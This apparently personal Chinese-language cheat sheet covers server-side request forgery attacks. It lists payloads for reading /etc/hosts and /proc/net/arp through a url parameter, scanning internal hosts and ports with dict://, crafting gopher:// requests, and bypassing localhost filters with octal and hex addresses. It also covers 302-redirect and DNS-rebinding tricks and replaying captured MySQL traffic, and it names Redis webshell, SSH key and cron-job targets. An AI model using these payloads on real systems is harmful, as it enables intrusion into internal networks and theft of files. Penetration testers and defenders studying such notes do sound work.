SSRF 从目的出发的利用方式
内网 网络信息探测
网段获取
1
2
3
/etc/hosts
/proc/net/arp # arp缓存表
/proc/net/fib_trie # 当前网段路由信息
可通过arp映射表, 获取网段信息
1
2
3
4
?url=file:///proc/net/arp
IP address HW type Flags HW address Mask Device
172.31.32.1 0x1 0x2 00:15:5d:d0:d8:dc * eth0
主机探测
由于刚才已经拿到了网段 枚举主机即可
1
2
?url=http://172.25.6.x
将x 替换从 0-255
再次查看/proc/net/arp 其中HW address 不为空的ip 是存活的
端口扫描
dict://ip:port 速度较快 ftp http 较慢
目录枚举
http://ip:port/dic
Gopher
GET POST reids mysql
curl gopher://ip:port/_data
_ gopher协议会吃掉第一个字符
url编码 注意url编码次数,一般为两次 最终的包是两遍
1
2
3
SPACE %20
? %3f
\r\n %0d%0A
127 绕过
进制绕过
http://127.0.0.1/admin 点分十进制
http://017700000001/admin 八进制
http://0x7F000001/admin 十六进制
变形
http://0177.0000.0000.0001/admin
http://0x7F.0.0.1/admin
http://0x7F.0x00.0x00.0x01/admin
私网地址被限制访问 302重定向 绕过
目标服务器可访问私网地址,
通过自己搭建外网WEB服务器,
编写Location重定向,让其访问后返回结果给我们
DNS重绑定攻击
利用服务器两次解析同一个域名的短暂间隙,更换域名背后的IP达到突破同源策略或绕过waf进行ssrf
| 对域名提供商的ttl 有要求 最理想的情况是0, | 或者 同时设置两条A记录 变成随机触发 |
ttl可为零 https://lock.cmpxchg8b.com/rebinder.html
第一次 设置为合法IP, 绕过HOST合规性检查
第二次 设置为内网IP, SSRF 访问内网
MySQL未授权
抓包mysql的利用的流量,然后使用gopher复现
将抓到的数据16进制显示,url编码后提交
tcpdump -i lo port 4406 -w mysql.pcap
mysql -h 127.0.0.1 -uroot --ssl-mode=DISABLED -e "show databases;"
ascii和url的区别 就是 前面有个%
也可在网上找到生成工具 Gopherus
Redis
和mysql一样
webshell
公钥
计划任务